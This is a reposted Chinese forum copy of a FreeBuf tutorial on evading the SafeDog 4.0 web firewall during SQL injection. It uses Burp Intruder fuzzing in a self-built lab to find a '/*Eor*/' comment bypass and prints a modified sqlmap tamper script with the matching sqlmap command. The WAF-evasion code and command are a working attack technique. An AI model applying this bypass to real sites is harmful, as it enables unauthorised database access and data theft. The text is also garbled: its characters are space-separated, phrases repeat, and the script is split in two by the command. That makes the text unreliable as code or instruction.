搜索

[15382] 2020-05-17_Fuzz绕过安全狗4.0实现SQL注入

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-05-17_Fuzz绕过安全狗4.0实现SQL注入 F u z z 绕 过 安 全 狗 4 . 0 实 现 S Q L 注 入 原 创   A n u b i s 2 4   F r e e B u f   2 0 2 0 - 0 5 - 1 7 0 × 0 0   前 言 前 言 本 文 使 用 了 本 文 使 用 了 b u r p 的 的 i n t r u d e r 模 块 进 行 模 块 进 行 f u z z , 并 修 改 了 并 修 改 了 s q l m a p 工 具 的 工 具 的 t a m p e r 脚 本 ， 对 安 全 狗 进 行 绕 过 。 脚 本 ， 对 安 全 狗 进 行 绕 过 。 0 × 0 1 注 入 绕 注 入 绕 w a f 过 常 用 手 法 过 常 用 手 法 使 用 大 小 写 绕 过 使 用 / * * / 注 释 符 绕 过 使 用 大 的 数 据 包 绕 过 使 用 / ! * * / 注 释 符 绕 过 … … 0 × 0 2 本 文 使 用 的 手 法 是 本 文 使 用 的 手 法 是 / * * / 注 释 符 注 释 符 首 先 搭 建 好 一 个 有 s q l 注 入 的 测 试 平 台 ， 在 服 务 器 安 装 安 全 狗 4 . 0 版 本 中 间 件 和 数 据 库 使 用 的 是 a p a c h e + m y s q l + p h p ( 如 图 下 ) 访 问 搭 建 好 有 s q l 注 入 点 的 网 站 ：
先 进 行 简 单 测 试 使 用 大 小 写 加 / * * / 注 释 访 问 被 拦 截 使 用 b u r p 进 行 对 刚 刚 注 入 点 进 行 抓 包
放 到 重 发 功 能 r e p e a t e r 里 面 ， 修 改 i d 后 面 的 值 ， 以 便 等 下 方 便 爆 破 修 改 方 法 ， 就 是 尽 量 s q l 语 句 简 单 ， 而 且 可 以 触 发 安 全 狗 以 为 使 用 到 / * * / 注 释 符 号 来 代 替 空 格 ， 使 用 尽 量 s q l 语 句 只 留 一 个 空 格 ， 又 能 触 发 安 全 狗 我 的 构 造 ， 刚 刚 好 阔 以 触 发 安 全 狗
然 后 接 下 来 就 是 f u z z ， 看 看 哪 一 个 字 符 能 绕 过 安 全 狗 啦 把 数 据 包 放 到 i n t u d e r 里 面 爆 破 点 如 上 图
设 置 如 上 图 ， 字 典 是 一 些 s q l 语 句 ， 网 上 有 很 多 这 种 字 典 开 始 f u z z 如 果 有 拦 截 就 会 是 这 样 子 成 功 绕 过 安 全 狗 拦 截 ， 如 下 图 说 明 该 / E o r / 这 个 注 释 符 可 以 绕 过 安 全 狗 简 单 测 试 / E o r / 这 个 注 释 符
点 击 确 认 发 现 a n d / E o r / 1 = 2 会 被 拦 截 不 清 楚 f u z z 时 候 不 拦 截 ， 手 动 就 拦 截 了 没 关 系 ， 使 用 s q l m a p 工 具 打 开 s q l m a p 使 在 文 件 下 面 的 文 件 夹 t a m p e r / c o n c a t 2 c o n c a t w s . p y 修 改 代 码 ： # ! / u s r / b i n / e n v   p y t h o n 2 " " " C o p y r i g h t   ( c )   2 0 0 6 - 2 0 1 9   s q l m a p   d e v e l o p e r s   ( h t t p : / / s q l m a p . o r g / ) S e e   t h e   f i l e   ' L I C E N S E '   f o r   c o p y i n g   p e r m i s s i o n " " " f r o m   l i b . c o r e . c o m p a t   i m p o r t   x r a n g e f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y _ _ p r i o r i t y _ _   =   P R I O R I T Y . L O W d e f   d e p e n d e n c i e s ( ) :         p a s s
使 用 命 令 ： p y t h o n 2   s q l m a p . p y   - r   1 . t x t   — t a m p e r = s p a c e 2 c o m m e n t 开 始 s q l 注 入 d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :         " " "         R e p l a c e s   s p a c e   c h a r a c t e r   ( '   ' )   w i t h   c o m m e n t s   ' / * * / '         T e s t e d   a g a i n s t :                 *   M i c r o s o f t   S Q L   S e r v e r   2 0 0 5                 *   M y S Q L   4 ,   5 . 0   a n d   5 . 5                 *   O r a c l e   1 0 g                 *   P o s t g r e S Q L   8 . 3 ,   8 . 4 ,   9 . 0         N o t e s :                 *   U s e f u l   t o   b y p a s s   w e a k   a n d   b e s p o k e   w e b   a p p l i c a t i o n   f i r e w a l l s         > > >   t a m p e r ( ' S E L E C T   i d   F R O M   u s e r s ' )         ' S E L E C T / * * / i d / * * / F R O M / * * / u s e r s '         " " "         r e t V a l   =   p a y l o a d         i f   p a y l o a d :                 r e t V a l   =   " "                 q u o t e ,   d o u b l e q u o t e ,   f i r s t s p a c e   =   F a l s e ,   F a l s e ,   F a l s e                 f o r   i   i n   x r a n g e ( l e n ( p a y l o a d ) ) :                         i f   n o t   f i r s t s p a c e :                                 i f   p a y l o a d [ i ] . i s s p a c e ( ) :                                         f i r s t s p a c e   =   T r u e                                         r e t V a l   + =   " / * * / "                                         c o n t i n u e                         e l i f   p a y l o a d [ i ]   = =   ' ' ' :                                 q u o t e   =   n o t   q u o t e                         e l i f   p a y l o a d [ i ]   = =   ' " ' :                                 d o u b l e q u o t e   =   n o t   d o u b l e q u o t e                         e l i f   p a y l o a d [ i ]   = =   "   "   a n d   n o t   d o u b l e q u o t e   a n d   n o t   q u o t e :                                 r e t V a l   + =   " / * E o r * / "                                 c o n t i n u e                         r e t V a l   + =   p a y l o a d [ i ]         r e t u r n   r e t V a l
成 功 利 用 0 × 0 3 小 结 小 结 这 个 只 是 简 单 的 / * * / 注 释 绕 狗 ， 还 有 很 多 方 法 都 可 以 使 用 我 介 绍 的 f u z z 方 法 去 过 狗 。 还 有 一 点 不 清 楚 为 什 么 手 工 会 失 败 ， s q l m a p 里 面 就 会 成 功 ， 而 且 b u r p 爆 破 也 可 以 成 功 ， 有 大 佬 知 道 的 可 以 说 说 。 * 本 文 作 者 ： 本 文 作 者 ： A n u b i s 2 4 ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理